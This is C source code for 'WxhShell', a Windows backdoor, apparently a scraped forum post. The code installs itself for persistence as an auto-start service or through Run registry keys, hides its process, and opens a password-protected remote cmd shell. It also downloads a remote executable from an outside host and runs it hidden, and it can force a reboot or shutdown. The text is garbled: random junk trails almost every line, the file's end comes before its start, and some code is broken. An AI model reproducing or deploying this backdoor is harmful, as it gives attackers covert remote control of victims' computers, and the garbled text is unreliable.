    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O]!DNN  
    if(Boot(SHUTDOWN)) DcDGrRuh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gukq}ZQd  
    else { %LW~oI.  
    closesocket(wsh); ? D'-{/<4  
    ExitThread(0); V-u\TiL  
    } 4f-C]N=  
    break; @"2-tn@q_  
    } 9 9-\cQv  
  // 获取shell 9K(b Z {  
  case 's': { ]`m5!V_Y  
    CmdShell(wsh); h*%1Jkxu  
    closesocket(wsh); k_`S[  
    ExitThread(0); 50`r}s}  
    break; cIkLdh   
  } j* ?MFvwE  
  // 退出 svgi!=  
  case 'x': { qeGOSGc_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~epkRO="  
    CloseIt(wsh); #2=30  
    break; C`K/ai{4  
    } QKQy)g  
  // 离开 akwVU\RP  
  case 'q': { ArM e[t0$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GMI >$$<  
    closesocket(wsh); a$A S?`L  
    WSACleanup(); t|_g O!w8  
    exit(1); q[g^[~WM#  
    break; `Y9@?s Q  
        } D=]P9XDvb.  
  } |.yRo_  
  } 2US8<sq+  
K~G^jAk+  
  // 提示信息 A":x<9   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `R;XN-  
} ;[ojwcK[ZF  
  } d1TG[i<J_  
(Zkt2[E`  
  return; Yr@@ty  
} .kV/ 0!q?  
Rk^&ras_  
// shell模块句柄 5#tvc4+)  
int CmdShell(SOCKET sock) #,C{?0!  
{ 0KEl+  
STARTUPINFO si; fN;y\!q5  
ZeroMemory(&si,sizeof(si)); @wz7jzMi  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mmti3Y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l-rI|0D#  
PROCESS_INFORMATION ProcessInfo; |ESe=G  
char cmdline[]="cmd"; IYPI5qCR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'UCL?$  
  return 0; dXQWT@$y!E  
} 7EUaf;d^  
|H49 FL  
// 自身启动模式 $TiAJ}:  
int StartFromService(void) ,P]{*uqGiB  
{ u)ItML  
typedef struct 57rP@,vj  
{ *{Vyt5  
  DWORD ExitStatus; A,@"(3  
  DWORD PebBaseAddress; /);6 j,x  
  DWORD AffinityMask; {Gy_QRsp,  
  DWORD BasePriority; 1l{n`gR  
  ULONG UniqueProcessId; z841g `:C  
  ULONG InheritedFromUniqueProcessId; XCY4[2*a>  
}   PROCESS_BASIC_INFORMATION; I;LqyzM  
4l:+>U@KU  
PROCNTQSIP NtQueryInformationProcess; es{ 9[RHK  
;+\;^nS3d  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /V~(!S>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Fej$`2mRH  
=Vfj#WL  
  HANDLE             hProcess; )U?W+0[=  
  PROCESS_BASIC_INFORMATION pbi; ~ i,my31  
&x}JC/u]fd  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  E2l.  
  if(NULL == hInst ) return 0; 08Gr  
?Z"}RMM)8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wlJ_, wA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1Y_fX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .x&>H  
X9>ujgK  
  if (!NtQueryInformationProcess) return 0; Fc Cxr@  
1RLSeT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1JY4E2Q  
  if(!hProcess) return 0; @%K 8 oYK  
D  UeT  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o3yZCz  
Wl{Vz  
  CloseHandle(hProcess); uPpP")  
6+>rf{5P7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ft5Bk'ZJ  
if(hProcess==NULL) return 0; U]d+iz??b  
r+n&Pp+9  
HMODULE hMod; G{<wXxq%  
char procName[255]; E[y?\{  
unsigned long cbNeeded; ["z$rk  
a fjC~}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x!J L9  
&,+ZN A`P  
  CloseHandle(hProcess); )+J?(&6  
| e+m!G1G  
if(strstr(procName,"services")) return 1; // 以服务启动 15B$Sp!/`e  
ZD*>i=S  
  return 0; // 注册表启动 g`6S*&8I  
} Gl+}]Vn[n  
E yuc~[  
// 主模块 ,QDq+93  
int StartWxhshell(LPSTR lpCmdLine) }-!$KR]:s  
{ NEvt71k  
  SOCKET wsl; }w$/x<Q[  
BOOL val=TRUE; '(Pbz   
  int port=0; p^2pv{by  
  struct sockaddr_in door; ~0`Pe{^*  
Z`[j;=[  
  if(wscfg.ws_autoins) Install(); 0kDT:3  
S5;q)qz2J  
port=atoi(lpCmdLine); db`<E <  
K_xn>  
if(port<=0) port=wscfg.ws_port; CZ @M~Si_  
oR~+s &c  
  WSADATA data; jRGG5w}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0\/7[nwS  
/H)l\m +  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3' ^ON  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u931^~Ci  
  door.sin_family = AF_INET; i''dY!2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0]T ;{  
  door.sin_port = htons(port); 8<P.>u  
3B,nHU  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L\"$R":3{d  
closesocket(wsl); .UJk0%1  
return 1; b{sFN !  
} wM><DrQ  
=w8*n2  
  if(listen(wsl,2) == INVALID_SOCKET) { >k:)'*  
closesocket(wsl); wH<S0vl   
return 1; n_5g:`Y  
} tZ(Wh  
  Wxhshell(wsl); /(Y\ <  
  WSACleanup(); Bk8U\Ut  
*H;&hq  
return 0; SN11J+  
Z:'2pu U+?  
}  d(k`Yk8  
i+2J\.~U#G  
// 以NT服务方式启动 1 %*X,E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D}:D,s8UP  
{ SN+&'?$WD  
DWORD   status = 0; 3>;U||O  
  DWORD   specificError = 0xfffffff; RgEUTpX  
_ TUw0:&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vWow^g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M jHeUf  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]TGJ|X  
  serviceStatus.dwWin32ExitCode     = 0; :D&QGw(n  
  serviceStatus.dwServiceSpecificExitCode = 0; ^  K/B[8  
  serviceStatus.dwCheckPoint       = 0; `W"-jz5#=  
  serviceStatus.dwWaitHint       = 0; WS;3a}u  
8z@A/$T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,2u]rLxx;  
  if (hServiceStatusHandle==0) return; u{J:wb  
) m?oQ#`m  
status = GetLastError(); ^y&l!,(A   
  if (status!=NO_ERROR) ZgN*m\l  
{ `9@!"p f  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LV`- eW  
    serviceStatus.dwCheckPoint       = 0; E]Kd`&^}  
    serviceStatus.dwWaitHint       = 0; JG4Tb{F=  
    serviceStatus.dwWin32ExitCode     = status; T `N(=T^*  
    serviceStatus.dwServiceSpecificExitCode = specificError; Xa-]+_?Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )U8F6GIC&}  
    return; |]Ockg[  
  } vh T9#) HI  
L[IjzxUv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m"u 9AOHk  
  serviceStatus.dwCheckPoint       = 0; _w)0r}{  
  serviceStatus.dwWaitHint       = 0; U; ev3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #LF_*a0v  
} 1`b?nX  
75<E0O  
// 处理NT服务事件,比如:启动、停止 Il!iqDHz3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hd+JKh!u  
{ F/mD05{  
switch(fdwControl) 8amtTM  
{ 594$X@ !v  
case SERVICE_CONTROL_STOP: \,~gA   
  serviceStatus.dwWin32ExitCode = 0; 0\u_ \%[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; WpRi+NC}ln  
  serviceStatus.dwCheckPoint   = 0; |U12 fuQ  
  serviceStatus.dwWaitHint     = 0; A*W QdY  
  { IhUuL0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (Iu5QLE  
  } =$f xK  
  return; 'tF<7\!  
case SERVICE_CONTROL_PAUSE: K&Zdk (l)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mh|M O(  
  break; H,] D}r  
case SERVICE_CONTROL_CONTINUE: ;b(/PH!O  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ZN^9w"A  
  break; 0!xD+IA!8  
case SERVICE_CONTROL_INTERROGATE: (gz|6N  
  break; ~bvx<:8*%  
}; vw3%u+Z&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B f[D&O  
} GMd81@7  
MiN68x9  
// 标准应用程序主函数 Ro?yCy:L'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0p! [&O  
{ IgZX,4i=o  
|qfnbi-\  
// 获取操作系统版本 D`iWf3a.  
OsIsNt=GetOsVer(); 7M5HIK6_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T7&itgEYG/  
<4^a (Zh  
  // 从命令行安装 @ -g^R4e<  
  if(strpbrk(lpCmdLine,"iI")) Install(); *j8w" 4  
&:w{[H$-  
  // 下载执行文件 !i{@B  
if(wscfg.ws_downexe) { nbhx2@Teqe  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n0nkv[  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9NKZE?5P|D  
} HH8a"Hq)  
_/7[=e}y  
if(!OsIsNt) { tlG&PVvr  
// 如果时win9x,隐藏进程并且设置为注册表启动 R~)c(jj5  
HideProc();  k:R9wo  
StartWxhshell(lpCmdLine); LKztGfy  
} Q-Bci Bh$  
else W>'R<IY4#N  
  if(StartFromService()) s|YY i~  
  // 以服务方式启动 R>#T {<<L  
  StartServiceCtrlDispatcher(DispatchTable); t:$p8qR  
else t4 h5R  
  // 普通方式启动 H<dm;cU  
  StartWxhshell(lpCmdLine); j @sd x)1+  
,odjL6u  
return 0; aZ#c_Q#gZ  
} =OTwP  
}4\>q$8'  
m &c8@-T  
Fpl<2eBg4  
=========================================== ,c}Q;eYc3  
`<q{8  
fytgS(?I'  
H?M8j] R-)  
r's4-\  
7RTp+FC]  
" dAohj QH:  
d(42ob.Tr  
#include <stdio.h> O" n/.`  
#include <string.h> r!#NFek}  
#include <windows.h> z&9vKF  
#include <winsock2.h> w9l)=[s=  
#include <winsvc.h> ;%hlh)k$  
#include <urlmon.h> :E]A51  
m3K8hL/  
#pragma comment (lib, "Ws2_32.lib") n+j'FfSz  
#pragma comment (lib, "urlmon.lib") 7J7uHl`yq`  
Q{V|{yV^y  
#define MAX_USER   100 // 最大客户端连接数 fGY. +W_  
#define BUF_SOCK   200 // sock buffer &`0heJ 5Yn  
#define KEY_BUFF   255 // 输入 buffer N^CD4l  
/3'>MRzR  
#define REBOOT     0   // 重启 WZ;f3 "  
#define SHUTDOWN   1   // 关机 .u)Po;e`  
pgfI1`h  
#define DEF_PORT   5000 // 监听端口 tb^3-ZUb  
mp%i(Y"vp  
#define REG_LEN     16   // 注册表键长度 o1-Zh!*a*  
#define SVC_LEN     80   // NT服务名长度 <JDkvpckx.  
Z3T:R"l;  
// 从dll定义API |Zncr9b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); eB^:+h#A_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8xZN4ck_@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); lRX*\ M\`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &-s!ko4z  
[uW{Ap~2  
// wxhshell配置信息 @tRq(*(/:  
struct WSCFG { 2U)H2 %  
  int ws_port;         // 监听端口 k g0Z(T:&8  
  char ws_passstr[REG_LEN]; // 口令 .pr-  ^  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,z<\Z!+=  
  char ws_regname[REG_LEN]; // 注册表键名 %)u5A !"  
  char ws_svcname[REG_LEN]; // 服务名 \c_1uDRoUn  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ZSU;>&>%v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qbFzA i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g_5:o 3s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +mYD DlvI  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rG}o!I`z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pkM_ @K  
'$UlJDZ  
}; mdtq-v  
j ]F  Zy  
// default Wxhshell configuration r[JgCj+$&  
struct WSCFG wscfg={DEF_PORT, ] +LleS5  
    "xuhuanlingzhe", aB#qzrr['8  
    1, 8lT.2H  
    "Wxhshell", b_z;^y~  
    "Wxhshell", y`!3Z} 7  
            "WxhShell Service", jun>(7  
    "Wrsky Windows CmdShell Service", .COY%fz  
    "Please Input Your Password: ", 7.hn@_  
  1, Cj31'  
  "http://www.wrsky.com/wxhshell.exe", *3s4JK  
  "Wxhshell.exe" 4-lEo{IIM  
    }; d {T3  
3QL'uk  
// 消息定义模块 PGOi#x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )CSb\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Lg sQz(-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }pTy mAN  
char *msg_ws_ext="\n\rExit."; *U)!9DvA  
char *msg_ws_end="\n\rQuit."; h7wm xa;  
char *msg_ws_boot="\n\rReboot..."; v;80RjPy>  
char *msg_ws_poff="\n\rShutdown..."; /~K-0K#w  
char *msg_ws_down="\n\rSave to "; 0Zs}y\J`  
&w- QMj M>  
char *msg_ws_err="\n\rErr!"; uF+if`?  
char *msg_ws_ok="\n\rOK!"; )?:V5UO\  
7eqax33f  
char ExeFile[MAX_PATH]; 1ZOHyO  
int nUser = 0; |l 03,dOF  
HANDLE handles[MAX_USER]; Q+U}    
int OsIsNt; %mAgE\y25  
?*tb|AL(R  
SERVICE_STATUS       serviceStatus; u0Fu_Rtr  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; pBG(%3PpW  
`sAz1/N  
// 函数声明 [2a*TI  
int Install(void); _}vD?/$L  
int Uninstall(void); FQ*4?D,A  
int DownloadFile(char *sURL, SOCKET wsh); 9P#E^;L  
int Boot(int flag); _iO,GT=J-  
void HideProc(void); W8'cAY  
int GetOsVer(void); qHt!)j9GKv  
int Wxhshell(SOCKET wsl); A<C`JN}  
void TalkWithClient(void *cs); :lcZ )6&S  
int CmdShell(SOCKET sock); g PU|Gv5  
int StartFromService(void); $ o?Wum  
int StartWxhshell(LPSTR lpCmdLine); Z}5 ;K"T/  
cP''  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L6fc_Mo.EE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b?hdWQSW7  
7q<I7Wt  
// 数据结构和表定义 QU2\gAM  
SERVICE_TABLE_ENTRY DispatchTable[] = np}F [v  
{ T9osueh4  
{wscfg.ws_svcname, NTServiceMain}, !=;^Grv>  
{NULL, NULL} KDhr.P.~  
}; Tar tV3;`  
(`>RwooE  
// 自我安装 %K@D{ )r_^  
int Install(void) G9TK)Nz  
{ 2M3.xUS  
  char svExeFile[MAX_PATH]; ++W_4 B!  
  HKEY key; Dt0S"`^=k  
  strcpy(svExeFile,ExeFile); }xJ9EE*G/  
Uvgv<OR`_  
// 如果是win9x系统,修改注册表设为自启动 5 P9hm[  
if(!OsIsNt) { c{Nk"gEfRA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O['gp~P"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <.s=)}'`P  
  RegCloseKey(key); /%\E2+6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X3NHQMI   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {w$1_GU  
  RegCloseKey(key); 7hqa|  
  return 0; %3M(!X:[  
    } t,4q]Jt  
  } \Lv eZ_h5  
} lpQsmd#  
else { _Pjo9z 9  
( 1T2? mO  
// 如果是NT以上系统,安装为系统服务 qba<$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T]l_B2.  
if (schSCManager!=0) yd2v_  
{ D642}VD  
  SC_HANDLE schService = CreateService h@7S hp  
  ( wXIsc;  
  schSCManager, 6TvlK*<r=  
  wscfg.ws_svcname, e; 5 n.+m  
  wscfg.ws_svcdisp, M:z)uLDw  
  SERVICE_ALL_ACCESS, v|C)Q %v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , * xdS<  
  SERVICE_AUTO_START, 3<LG~HWST  
  SERVICE_ERROR_NORMAL, IT5AB?bxH  
  svExeFile, 6?b 9~xRW  
  NULL, X[\b!<C  
  NULL, jbcJ\2  
  NULL, -h%;L5oJ2,  
  NULL, 55 )!cw4  
  NULL <*E{z r&  
  ); a1R2ocC  
  if (schService!=0) AmNmhcN  
  { [8l;X:  
  CloseServiceHandle(schService); n|dLK.Q  
  CloseServiceHandle(schSCManager); W|_ @ju  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); H)(@A W+-  
  strcat(svExeFile,wscfg.ws_svcname); !:PF |dZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FVNxjMm,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); R| [mp%Q  
  RegCloseKey(key); Y [k%<f  
  return 0; 4vq,W_n.hQ  
    } xwhH_[  
  } 2qLRcA=R  
  CloseServiceHandle(schSCManager); SV}q8z\  
} p(in.Xz  
} >H?l[*9  
9 =7),`$  
return 1; u POmi F  
} XP~bmh,T,  
&@u;xc| v  
// 自我卸载 -fFM-gt^t  
int Uninstall(void) o6,$;-?F_  
{ jE|Ju:}&  
  HKEY key; D[U[ D  
- ?_aYJ  
if(!OsIsNt) { 3CK4a,]Dm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _doX&*9u  
  RegDeleteValue(key,wscfg.ws_regname); Ve#VGlI  
  RegCloseKey(key); h$.y)v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6Ko[[?Lf[  
  RegDeleteValue(key,wscfg.ws_regname); E5qh]z (  
  RegCloseKey(key); *jM~VTXwt  
  return 0; Z? u\  
  } ]`)50\pdw  
} Mk9'  
} pt.0%3  
else { UhQ[|c  
XF(0>-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L/dG 0a@1X  
if (schSCManager!=0) =$;i  
{ 6<jh0=$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4^vEMq8lB  
  if (schService!=0) ;M}'\.  
  { ZnSDq_Uk  
  if(DeleteService(schService)!=0) { VZB T'N  
  CloseServiceHandle(schService); H'|b$rP0@  
  CloseServiceHandle(schSCManager); %SuEfCM  
  return 0; :fz&)e9  
  } Tn2nd  
  CloseServiceHandle(schService); >fRI^Q,  
  } Q/&H3N  
  CloseServiceHandle(schSCManager); sN0S~}F+  
} ( P|Ph  
} 9,wd,,ta  
n*~=O'  
return 1; W<C \g~\  
} pi7Fd\A  
(]7&][  
// 从指定url下载文件 yk OJhd3  
int DownloadFile(char *sURL, SOCKET wsh) OEmz`JJ67  
{ J4 [7*v  
  HRESULT hr; UUi@ U  
char seps[]= "/"; l6Wa~E  
char *token; LN}eD\  
char *file; Nr)v!z~y   
char myURL[MAX_PATH]; ][3H6T!ckL  
char myFILE[MAX_PATH]; pwAawm  
SQx%CcW9d  
strcpy(myURL,sURL); bE:oF9J?  
  token=strtok(myURL,seps); O* `v1>  
  while(token!=NULL) _|qJ)gD[  
  { \x?q!(;G2  
    file=token; ,5^XjU3c=  
  token=strtok(NULL,seps); ;/?M&rX  
  } 2>BWu  
 U, _nEx  
GetCurrentDirectory(MAX_PATH,myFILE); 1sx@Nvlb  
strcat(myFILE, "\\"); ^]:w5\DG  
strcat(myFILE, file); LdxrS5  
  send(wsh,myFILE,strlen(myFILE),0); `F5iZWW1  
send(wsh,"...",3,0); . U|irDO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nI4Kuz`dF  
  if(hr==S_OK) R!IODXP=  
return 0; IGz92&y  
else ;v%Fw!b032  
return 1; HnU; N S3J  
|hms'n0  
} K s 8  
G?D7R/0)  
// 系统电源模块 l",JN.w  
int Boot(int flag) *6D0>F  
{ _aa3;kT_  
  HANDLE hToken; J60XUxf  
  TOKEN_PRIVILEGES tkp; 5u +U^D  
'q%56WAJ  
  if(OsIsNt) {  pleLdGq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xL8r'gV@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6UK{0\0  
    tkp.PrivilegeCount = 1; mYLqT$t.+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `B6~KZ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); l_tr,3_w  
if(flag==REBOOT) { \HX'^t`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W" >[sn|  
  return 0; ^Xv_y+  
} ?blF6Kl$  
else { F:nhSd  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ibt~e4f  
  return 0; &KinCh7l L  
}  PI_MSiYQ  
  } k L\;90  
  else { sq `f?tA?  
if(flag==REBOOT) { M^^5JNY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (IdXJvKU!  
  return 0; f P'qUN  
} 7u[U%yd  
else { cQ( zBf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &)jBr^x#>  
  return 0; 4q sIJJ[.  
} x\taG.'zX  
} (A!+$}UR  
X"_,#3Ko!  
return 1; gc``z9@Xg  
} }uWIF|h~  
2ghTAsUx9  
// win9x进程隐藏模块 (gN[<QL  
void HideProc(void) *J^l r"%c  
{ o5=1  
Q9,H 0r-%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); lS"g[O+  
  if ( hKernel != NULL ) o!:V=F  
  { >YP6/w,e  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g'2'K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %04N"^mT'~  
    FreeLibrary(hKernel); :`('lrq  
  } MmUtBT  
vv='.R, D  
return; =!}n .  
} Uedzt  
&o{=  
// 获取操作系统版本 'Cw&9cL9w  
int GetOsVer(void) b[5$$_[  
{ R@*mMWW,  
  OSVERSIONINFO winfo; Ky"]L~8$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); * V;L|c  
  GetVersionEx(&winfo); oU/CXz?H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tQ!p<Q= $)  
  return 1; ee7#PE]}  
  else |'@c ~yc  
  return 0; #rZF4>c  
} }dnO7K  
I+nKaN+8i  
// 客户端句柄模块 G@s]HJ:  
int Wxhshell(SOCKET wsl) j7LuN  
{ LxD >eA  
  SOCKET wsh; wHneVqI/U  
  struct sockaddr_in client; \HR<^xY  
  DWORD myID; "},0Cs  
ODS8bD0!i  
  while(nUser<MAX_USER) X|o;*J](  
{ b| e7mis@  
  int nSize=sizeof(client); yGGQ;!/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K@uUe3  
  if(wsh==INVALID_SOCKET) return 1; {+D 6o  
E?$|`<o{|`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %:61@<  
if(handles[nUser]==0) tE&@U$0>o  
  closesocket(wsh); ""AP-7  
else BS-nny  
  nUser++; w[`2t{^j  
  } Po+I!TL'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #<_gY  
sK1YmB :~a  
  return 0; oWCy%76@  
} 4sU*UePr  
D,cGW,2Nv  
// 关闭 socket Kob i!  
void CloseIt(SOCKET wsh) I~:vX^%9  
{ w8MQA!=l  
closesocket(wsh); -TIrbYS`  
nUser--; hN0Y8Ia/5%  
ExitThread(0); <P)U Ggd  
} 8GRp1'\Hi  
jC<1bf$K  
// 客户端请求句柄 syuW>Z8s  
void TalkWithClient(void *cs) 2'R ;z< _  
{ ?-'m#5i"  
/-Saz29f^Q  
  SOCKET wsh=(SOCKET)cs; FE}!I  
  char pwd[SVC_LEN]; >j5,Z]  
  char cmd[KEY_BUFF]; 9VqE:c /  
char chr[1]; N(*Xjy+PX  
int i,j; N0Y$QWr_$  
XctSw  
  while (nUser < MAX_USER) { . X  (^E  
x3./  
if(wscfg.ws_passstr) { jZRf{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FG-v71!h#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q_0So}  
  //ZeroMemory(pwd,KEY_BUFF); ;3\oU$'  
      i=0; E;$;g#ksf  
  while(i<SVC_LEN) { BQX6Q<  
nIRJ5|G(  
  // 设置超时 rE:"8d}z  
  fd_set FdRead; h$F.(NIYe  
  struct timeval TimeOut; zDEX `~c  
  FD_ZERO(&FdRead); J<p.J3I  
  FD_SET(wsh,&FdRead); M:%6$``  
  TimeOut.tv_sec=8; 8KxBN)fO;  
  TimeOut.tv_usec=0; |I; tBqN{u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); />wM#)o2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "6[a%f#Q  
{zTo[i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j`fQN  
  pwd=chr[0]; ;m/h?Y~  
  if(chr[0]==0xd || chr[0]==0xa) { ld RV JVZc  
  pwd=0; J[Ck z]  
  break; " Bz\<e&u  
  } u%TZ),ny-  
  i++; <F>^ffwGH-  
    } bn$('  
z%lu%   
  // 如果是非法用户,关闭 socket 'hEvW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nRP|Qt7>  
} & XS2q0-x  
}6Ut7J]a|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1z .  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AXnuXa(j  
FU{$oCh/5  
while(1) { xiWP^dIF  
I:~KF/q  
  ZeroMemory(cmd,KEY_BUFF); goE \C  
vb o| q[z  
      // 自动支持客户端 telnet标准   3YKJN4  
  j=0; xj6@85^  
  while(j<KEY_BUFF) { >GbCRN~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [uJfmrEH  
  cmd[j]=chr[0]; 6MewQ{hi  
  if(chr[0]==0xa || chr[0]==0xd) { fGeDygV^`  
  cmd[j]=0; y4@zi"G  
  break; E{LLxGAEZ  
  } oFO)28Btv  
  j++; k-:wM`C  
    } q <, b  
11'^JmKA  
  // 下载文件 J AQ y  
  if(strstr(cmd,"http://")) { d8)ps,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); a#huK~$~  
  if(DownloadFile(cmd,wsh)) >yZe1CP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t2L }  
  else ~CtLSyB  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s6U$]9 `  
  } S7B7'[ru  
  else { >/]` f8^  
/?ZO-]q  
    switch(cmd[0]) { B4D#T lB  
  K@f@vyw]  
  // 帮助 ifXGH>C  
  case '?': { EZ"n3#/  
